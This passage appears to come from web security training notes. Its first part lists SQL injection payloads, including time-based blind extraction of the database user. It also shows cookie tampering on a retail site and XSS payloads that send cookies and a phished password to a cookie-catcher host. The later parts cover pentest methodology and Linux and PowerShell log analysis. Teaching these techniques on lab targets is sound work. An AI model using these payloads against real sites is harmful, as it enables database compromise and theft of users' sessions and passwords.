  986. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  987. http://45.77.162.239/bookdetail.aspx?id=1*1
  988. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  989. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  990. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  991. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  992. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  993.  
  994.  
  995.  
  996. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  997. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  998. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  999. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  1000.  
  1001. -----------------------------------------------------------------------
  1002.  
  1003.  
  1004. ###############################
  1005. # Blind SQL Injection Testing #
  1006. ###############################
  1007. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  1008.  
  1009. 3 - Total Characters
  1010. ---------------------------Type This-----------------------------------
  1011.  
  1012. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  1013. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  1014. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  1015. -----------------------------------------------------------------------
  1016.  
  1017. Let's go for a quick check to see if it's DBO
  1018.  
  1019. ---------------------------Type This-----------------------------------
  1020.  
  1021. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  1022. -----------------------------------------------------------------------
  1023.  
  1024. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  1025.  
  1026. ---------------------------Type This-----------------------------------
  1027.  
  1028. D - 1st Character
  1029. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  1030. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  1031. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  1032. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  1033.  
  1034. B - 2nd Character
  1035. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1036. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1037.  
  1038. O - 3rd Character
  1039. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1040. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  1041. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1042. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1043. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  1044. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  1045. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1046.  
  1047. -----------------------------------------------------------------------
  1048.  
  1049.  
  1050.  
  1051.  
  1052.  
  1053.  
  1054.  
  1055. ################################
  1056. # Playing with session cookies #
  1057. ################################
  1058.  
  1059. -----------------------------------------------------------------------
  1060. Step 1: Browse to NewEgg.com
  1061. -------------------------Paste this into Firefox-----------------------------------
  1062. https://secure.newegg.com/
  1063. ----------------------------------------------------------------------------------
  1064.  
  1065.  
  1066. Step 2: Browse to the shopping cart page NewEgg.com
  1067. -------------------------Paste this into Firefox-----------------------------------
  1068. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1069. ----------------------------------------------------------------------------------
  1070.  
  1071.  
  1072. Step 3: View the current session ID
  1073. -------------------------Paste this into Firefox-----------------------------------
  1074. javascript:void(document.write(document.cookie))
  1075. ------------------------------------------------------------------------------------
  1076.  
  1077. Step 4: Go back to the shopping cart page (click the back button)
  1078. ---------------------------------------------------------------------------------
  1079. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1080. ---------------------------------------------------------------------------------
  1081.  
  1082.  
  1083. Step 5: Now let's modify the session ID
  1084. -------------------------Paste this into Firefox-----------------------------------
  1085. javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
  1086. ------------------------------------------------------------------------------------
  1087.  
  1088.  
  1089.  
  1090. Step 6: Go back to the shopping cart page (click the back button)
  1091. ---------------------------------------------------------------------------------
  1092. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1093. ---------------------------------------------------------------------------------
  1094.  
  1095.  
  1096.  
  1097. Step 7: View the current session ID
  1098. -------------------------Paste this into Firefox-----------------------------------
  1099. javascript:void(document.write(document.cookie))
  1100. ------------------------------------------------------------------------------------
  1101.  
  1102. -----------------------------------------------------------------------
  1103.  
  1104. ###########################################
  1105. # What is XSS #
  1106. # http://45.63.104.73/2-Intro_To_XSS.pptx #
  1107. ###########################################
  1108.  
  1109. OK - what is Cross Site Scripting (XSS)
  1110.  
  1111. 1. Use Firefox to browse to the following location:
  1112. ---------------------------Type This-----------------------------------
  1113.  
  1114. http://45.63.104.73/xss_practice/
  1115. -----------------------------------------------------------------------
  1116.  
  1117. A really simple search page that is vulnerable should come up.
  1118.  
  1119.  
  1120.  
  1121.  
  1122. 2. In the search box type:
  1123. ---------------------------Type This-----------------------------------
  1124.  
  1125. <script>alert('So this is XSS')</script>
  1126. -----------------------------------------------------------------------
  1127.  
  1128.  
  1129. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  1130. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1131.  
  1132.  
  1133. 3. In the search box type:
  1134. ---------------------------Type This-----------------------------------
  1135.  
  1136. <script>alert(document.cookie)</script>
  1137. -----------------------------------------------------------------------
  1138.  
  1139.  
  1140. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  1141. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1142.  
  1143. 4. Now replace that alert script with:
  1144. ---------------------------Type This-----------------------------------
  1145.  
  1146. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  1147. -----------------------------------------------------------------------
  1148.  
  1149.  
  1150. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  1151.  
  1152.  
  1153. 5. Now view the stolen cookie at:
  1154. ---------------------------Type This-----------------------------------
  1155.  
  1156. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  1157. -----------------------------------------------------------------------
  1158.  
  1159.  
  1160. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  1161.  
  1162.  
  1163.  
  1164.  
  1165.  
  1166.  
  1167. ############################
  1168. # A Better Way To Demo XSS #
  1169. ############################
  1170.  
  1171.  
  1172. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  1173.  
  1174.  
  1175. Use Firefox to browse to the following location:
  1176. ---------------------------Type This-----------------------------------
  1177.  
  1178. http://45.63.104.73/xss_practice/
  1179. -----------------------------------------------------------------------
  1180.  
  1181.  
  1182.  
  1183. Paste this in the search box
  1184. ----------------------------
  1185.  
  1186.  
  1187. ---------------------------Type This-----------------------------------
  1188.  
  1189. <script>
  1190. password=prompt('Your session is expired. Please enter your password to continue',' ');
  1191. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  1192. </script>
  1193. -----------------------------------------------------------------------
  1194.  
  1195.  
  1196. Now view the stolen cookie at:
  1197. ---------------------------Type This-----------------------------------
  1198.  
  1199. http://45.63.104.73/xss_practice/passwords.html
  1200.  
  1201. -----------------------------------------------------------------------
  1202.  
  1203. ###############################################################
  1204. # Question 1: What is the process that you use when you test? #
  1205. ###############################################################
  1206.  
  1207. Step 1: Automated Testing
  1208.  
  1209. Step 1a: Web Application vulnerability scanners
  1210. -----------------------------------------------
  1211. - Run two (2) unauthenticated vulnerability scans against the target
  1212. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  1213. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  1214.  
  1215. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  1216.  
  1217. A good web application vulnerability scanner comparison website is here:
  1218. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  1219.  
  1220.  
  1221. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  1222.  
  1223. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  1224.  
  1225.  
  1226. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  1227.  
  1228.  
  1229. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  1230.  
  1231.  
  1232.  
  1233. Step 1b: Directory Brute Forcer
  1234. -------------------------------
  1235. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  1236.  
  1237.  
  1238.  
  1239. Step 2: Manual Testing
  1240.  
  1241. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  1242.  
  1243. Step 2a: Spider/Scan the entire site with Burp Suite
  1244. Save the spider and scan results. I usually provide this data to the customer as well.
  1245.  
  1246.  
  1247. Step 2b: Browse through the site using the 3 question method
  1248. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  1249.  
  1250. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  1251.  
  1252. Here is what I mean:
  1253. http://www.site.com/page.aspx?parametername=parametervalue
  1254.  
  1255. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  1256.  
  1257. http://www.site.com/page.aspx?parametername=[ payload ]
  1258.  
  1259. You need to ensure that you send the payload this way, and like this below:
  1260.  
  1261. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  1262.  
  1263. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  1264.  
  1265.  
  1266.  
  1267.  
  1268.  
  1269.  
  1270.  
  1271. ###########################################
  1272. # Question 2: How much fuzzing is enough? #
  1273. ###########################################
  1274. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  1275.  
  1276. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  1277.  
  1278.  
  1279. Step 1: Ask yourself the 3 questions per page of the site.
  1280.  
  1281. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  1282.  
  1283. Step 3: When you load your fuzz strings - use the following decision tree
  1284.  
  1285. - Are the fuzz strings causing a default error message (example 404)?
  1286. - If this is the case then it is most likely NOT vulnerable
  1287.  
  1288. - Are the fuzz strings causing a WAF or LB custom error message?
  1289. - If this is the case then you need to find an encoding method to bypass
  1290.  
  1291.  
  1292. - Are the fuzz strings causing an error message that discloses the backend type?
  1293. - If yes, then identify DB type and find correct syntax to successfully exploit
  1294. - Some example strings that I use are:
  1295. '
  1296. "
  1297. () <----- Take the parameter value and put it in parenthesis
  1298. (5-1) <----- See if you can perform an arithmetic function
  1299.  
  1300.  
  1301. - Are the fuzz strings rendering executable code?
  1302. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  1303. - Some example strings that I use are:
  1304. <b>hello</b>
  1305. <u>hello</u>
  1306. <script>alert(123);</script>
  1307. <script>alert(xss);</script>
  1308. <script>alert('xss');</script>
  1309. <script>alert("xss");</script>
  1310.  
  1311.  
  1312.  
  1313. #######################
  1314. # Bug Bounty Programs #
  1315. #######################
  1316. https://medium.com/bugbountywriteup/bug-bounty-hunting-methodology-toolkit-tips-tricks-blogs-ef6542301c65
  1317.  
  1318.  
  1319. ############################
  1320. # Bug Hunter's Methodology #
  1321. ############################
  1322. https://www.youtube.com/watch?v=C4ZHAdI8o1w
  1323. https://www.youtube.com/watch?v=-FAjxUOKbdI
  1324.  
  1325.  
  1326.  
  1327. ##############################################
  1328. # Log Analysis with Linux command-line tools #
  1329. ##############################################
  1330. The following command line executables are found in the Mac as well as most Linux Distributions.
  1331.  
  1332. cat – prints the content of a file in the terminal window
  1333. grep – searches and filters based on patterns
  1334. awk – can sort each row into fields and display only what is needed
  1335. sed – performs find and replace functions
  1336. sort – arranges output in an order
  1337. uniq – compares adjacent lines and can report, filter or provide a count of duplicates
  1338.  
  1339.  
  1340. ##############
  1341. # Cisco Logs #
  1342. ##############
  1343.  
  1344. -----------------------------Type this-----------------------------------------
  1345. wget http://45.63.104.73/cisco.log
  1346. -------------------------------------------------------------------------------
  1347.  
  1348. AWK Basics
  1349. ----------
  1350. To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
  1351.  
  1352. -----------------------------Type this-----------------------------------------
  1353. cat cisco.log | awk '{print $5}' | tail -n 4
  1354. -------------------------------------------------------------------------------
  1355.  
  1356.  
  1357.  
  1358. Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
  1359.  
  1360. -----------------------------Type this-----------------------------------------
  1361. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
  1362. -------------------------------------------------------------------------------
  1363.  
  1364.  
  1365.  
  1366. While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
  1367.  
  1368. -----------------------------Type this-----------------------------------------
  1369. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
  1370. -------------------------------------------------------------------------------
  1371.  
  1372.  
  1373.  
  1374.  
  1375. Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
  1376.  
  1377. -----------------------------Type this-----------------------------------------
  1378. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
  1379.  
  1380. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
  1381.  
  1382. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
  1383.  
  1384. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
  1385. --------------------------------------------------------------------------------
  1386.  
  1387.  
  1388. ##################################################################
  1389. # Analyzing a PCAP Prads #
  1390. # Note: run as regular user #
  1391. ##################################################################
  1392.  
  1393. ---------------------------Type this as a regular user----------------------------------
  1394. cd ~
  1395.  
  1396. cd ~/pcap_analysis/prads
  1397.  
  1398. wget http://45.63.104.73/suspicious-time.pcap
  1399.  
  1400. prads -r suspicious-time.pcap -l prads-asset.log
  1401.  
  1402. cat prads-asset.log | less
  1403.  
  1404. cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
  1405.  
  1406. cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
  1407.  
  1408. cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
  1409. -----------------------------------------------------------------------
  1410.  
  1411.  
  1412.  
  1413.  
  1414. ##################################
  1415. # PCAP Analysis with ChaosReader #
  1416. # Note: run as regular user #
  1417. ##################################
  1418. ---------------------------Type this as a regular user----------------------------------
  1419. cd ~
  1420.  
  1421. cd ~/pcap_analysis/chaos_reader/
  1422.  
  1423. wget http://45.63.104.73/suspicious-time.pcap
  1424.  
  1425. wget http://45.63.104.73/chaosreader.pl
  1426.  
  1427. perl chaosreader.pl suspicious-time.pcap
  1428.  
  1429. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  1430.  
  1431. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  1432.  
  1433.  
  1434. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  1435.  
  1436. python -m SimpleHTTPServer
  1437. ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
  1438.  
  1439. ------------------------------------------------------------------------
  1440.  
  1441.  
  1442.  
  1443.  
  1444.  
  1445.  
  1446.  
  1447. If you are interested in running PowerShell on Mac OS X, or Linux you can check out the following link:
  1448. https://www.howtogeek.com/267858/how-to-install-microsoft-powershell-on-linux-or-os-x/
  1449.  
  1450. #####################
  1451. # Powershell Basics #
  1452. #####################
  1453.  
  1454. PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
  1455.  
  1456. PowerShell file extension end in .ps1 .
  1457.  
  1458. An important note is that you cannot double click on a PowerShell script to execute it.
  1459.  
  1460. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell. Make sure that you run it as an administrator
  1461.  
  1462. ------------------------Type This------------------------------
  1463. cd c:\
  1464. dir
  1465. cd
  1466. ls
  1467. ---------------------------------------------------------------
  1468.  
  1469.  
  1470. To obtain a list of cmdlets, use the Get-Command cmdlet
  1471. ------------------------Type This------------------------------
  1472. Get-Command
  1473. ---------------------------------------------------------------
  1474.  
  1475.  
  1476. You can use the Get-Alias cmdlet to see a full list of aliased commands.
  1477. ------------------------Type This------------------------------
  1478. Get-Alias
  1479. ---------------------------------------------------------------
  1480.  
  1481.  
  1482. Don't worry you won't blow up your machine with Powershell
  1483. ------------------------Type This------------------------------
  1484. Get-Process | stop-process Don't press [ ENTER ] What will this command do?
  1485. Get-Process | stop-process -whatif
  1486. ---------------------------------------------------------------
  1487.  
  1488. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
  1489. ------------------------Type This------------------------------
  1490. Get-Help Get-Command
  1491.  
  1492. Get-Help Get-Service –online
  1493.  
  1494. Get-Service -Name TermService, Spooler
  1495.  
  1496. Get-Service –N BITS
  1497. ---------------------------------------------------------------
  1498.  
  1499.  
  1500.  
  1501.  
  1502.  
  1503. - Run cmdlet through a pie and refer to its properties as $_
  1504. ------------------------Type This------------------------------
  1505. Get-Service | where-object { $_.Status -eq "Running"}
  1506. ---------------------------------------------------------------
  1507.  
  1508.  
  1509.  
  1510. - PowerShell variables begin with the $ symbol. First lets create a variable
  1511. ------------------------Type This------------------------------
  1512. $serv = Get-Service –N Spooler
  1513. ---------------------------------------------------------------
  1514.  
  1515. To see the value of a variable you can just call it in the terminal.
  1516. ------------------------Type This------------------------------
  1517. $serv
  1518.  
  1519. $serv.gettype().fullname
  1520. ---------------------------------------------------------------
  1521.  
  1522.  
  1523. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
  1524. ------------------------Type This------------------------------
  1525. $serv | Get-Member
  1526.  
  1527. Get-Member -InputObject $serv
  1528. ---------------------------------------------------------------
  1529.  
  1530.  
  1531.  
  1532.  
  1533. Let's use a method and a property with our object.
  1534. ------------------------Type This------------------------------
  1535. $serv.Status
  1536. $serv.Stop()
  1537. $serv.Refresh()
  1538. $serv.Status
  1539. $serv.Start()
  1540. $serv.Refresh()
  1541. $serv.Status
  1542. ---------------------------------------------------------------
  1543.  
  1544.  
  1545. If you want some good command-line shortcuts you can check out the following link:
  1546. https://technet.microsoft.com/en-us/library/ff678293.aspx
  1547.  
  1548. #############################
  1549. # Simple Event Log Analysis #
  1550. #############################
  1551. Let's setup a directory to work in:
  1552. ------------------------Type This------------------------------
  1553. cd c:\
  1554.  
  1555. mkdir ps
  1556.  
  1557. cd ps
  1558. ---------------------------------------------------------------
  1559.  
  1560. Step 1: Dump the event logs
  1561. ---------------------------
  1562. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
  1563.  
  1564. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
  1565. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
  1566. ------------------------Type This------------------------------
  1567. Get-EventLog -LogName application | Export-Clixml Applog.xml
  1568.  
  1569. type .\Applog.xml
  1570.  
  1571. $logs = "system","application","security"
  1572. ---------------------------------------------------------------
  1573.  
  1574.  
  1575. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
  1576. ------------------------Type This------------------------------
  1577. $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
  1578. ---------------------------------------------------------------
  1579.  
  1580.  
  1581.  
  1582.  
  1583. Step 2: Import the event log of interest
  1584. ----------------------------------------
  1585. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
  1586. Store the results in a variable.
  1587. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
  1588.  
  1589. The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
  1590. ------------------------Type This------------------------------
  1591. $seclog = Import-Clixml security.xml
  1592.  
  1593. $seclog | select -Last 5
  1594. ---------------------------------------------------------------
  1595.  
  1596. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
  1597. ------------------------Type This------------------------------
  1598. Get-EventLog Application -After (Get-Date).AddDays(-1)
  1599. ---------------------------------------------------------------
  1600. You can use '-after' and '-before' to filter date ranges
  1601.  
  1602. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
  1603. By default, an ordinary user does not have permission to read the security log.
  1604.  
  1605.  
  1606. I had another student ask me if we can go back in hours instead of days and the answer is yes.
  1607. ------------------------Type This------------------------------
  1608. Get-EventLog Application -After (Get-Date).AddHours(-1)
  1609. ---------------------------------------------------------------
  1610.  
  1611.  
  1612.  
  1613. Step 3: Drill into a specific entry
  1614. -----------------------------------
  1615. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
  1616.  
  1617. ------------------------Type This------------------------------
  1618. $seclog | select -first 1 | fl *
  1619. ---------------------------------------------------------------
  1620.  
  1621. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
  1622.  
  1623. ------------------------Type This------------------------------
  1624. ($seclog | select -first 1).message
  1625.  
  1626. (($seclog | select -first 1).message).gettype()
  1627. ---------------------------------------------------------------
  1628.  
  1629.  
  1630. In the *nix world you often want a count of something (wc -l).
  1631. How often is the SeSecurityPrivilege privilege mentioned in the message property?
  1632. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
  1633. ------------------------Type This------------------------------
  1634. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
  1635. ---------------------------------------------------------------
  1636. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
  1637.  
  1638. ------------------------Type This------------------------------
  1639. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
  1640. ---------------------------------------------------------------
  1641.  
  1642. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
  1643. Use the count property to determine the total number of entries in the event log.
  1644. ------------------------Type This------------------------------
  1645. $seclog.Count
  1646. ---------------------------------------------------------------
  1647.  
  1648.  
  1649.  
  1650.  
  1651.  
  1652. ############################
  1653. # Simple Log File Analysis #
  1654. ############################
  1655.  
  1656.  
  1657. You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
  1658.  
  1659. ------------------------Type This------------------------------
  1660. cd c:\ps
  1661. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  1662. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
  1663. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
  1664. ---------------------------------------------------------------
  1665.  
  1666.  
  1667.  
  1668. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
  1669. ------------------------Type This------------------------------
  1670. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
  1671. ---------------------------------------------------------------
  1672.  
  1673.  
  1674.  
  1675. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
  1676. ------------------------Type This------------------------------
  1677. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
  1678. ---------------------------------------------------------------
  1679.  
  1680.  
  1681. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
  1682. ------------------------Type This------------------------------
  1683. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
  1684. ---------------------------------------------------------------
  1685.  
  1686.  
  1687. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
  1688. ------------------------Type This------------------------------
  1689. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
  1690. ---------------------------------------------------------------
  1691.  
  1692. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
  1693. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
  1694. ------------------------Type This------------------------------
  1695. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
  1696. ---------------------------------------------------------------
  1697.  
  1698.  
  1699.  
  1700. ##############################################
  1701. # Parsing Log files using windows PowerShell #
  1702. ##############################################
  1703.  
  1704. Download the sample IIS log http://pastebin.com/LBn64cyA
  1705.  
  1706. ------------------------Type This------------------------------
  1707. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  1708.  
  1709. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
  1710. ---------------------------------------------------------------
  1711.  
  1712.  
  1713. The above command would give us all the WebDAV requests.
  1714.  
  1715. To filter this to a particular user name, use the below command:
  1716. ------------------------Type This------------------------------
  1717. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
  1718. ---------------------------------------------------------------
  1719.  
  1720.  
  1721. Some more options that will be more commonly required :
  1722.  
  1723. For Outlook Web Access : Replace WebDAV with OWA
  1724.  
  1725. For EAS : Replace WebDAV with Microsoft-server-activesync
  1726.  
  1727. For ECP : Replace WebDAV with ECP
  1728.  
  1729.  
  1730.  
  1731.  
  1732.  
  1733.  
  1734.  
  1735. ####################################################################
  1736. # Windows PowerShell: Extracting Strings Using Regular Expressions #
  1737. ####################################################################
  1738.  
  1739.  
  1740. Regex Characters you might run into:
  1741.  
  1742. ^ Start of string, or start of line in a multiline pattern
  1743. $ End of string, or start of line in a multiline pattern
  1744. \b Word boundary
  1745. \d Digit
  1746. \ Escape the following character
  1747. * 0 or more {3} Exactly 3
  1748. + 1 or more {3,} 3 or more
  1749. ? 0 or 1 {3,5} 3, 4 or 5
  1750.  
  1751.  
  1752.  
  1753. To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
  1754.  
  1755. 1) The input file that will be parsed
  1756. ------------------------Type This------------------------------
  1757. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
  1758. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
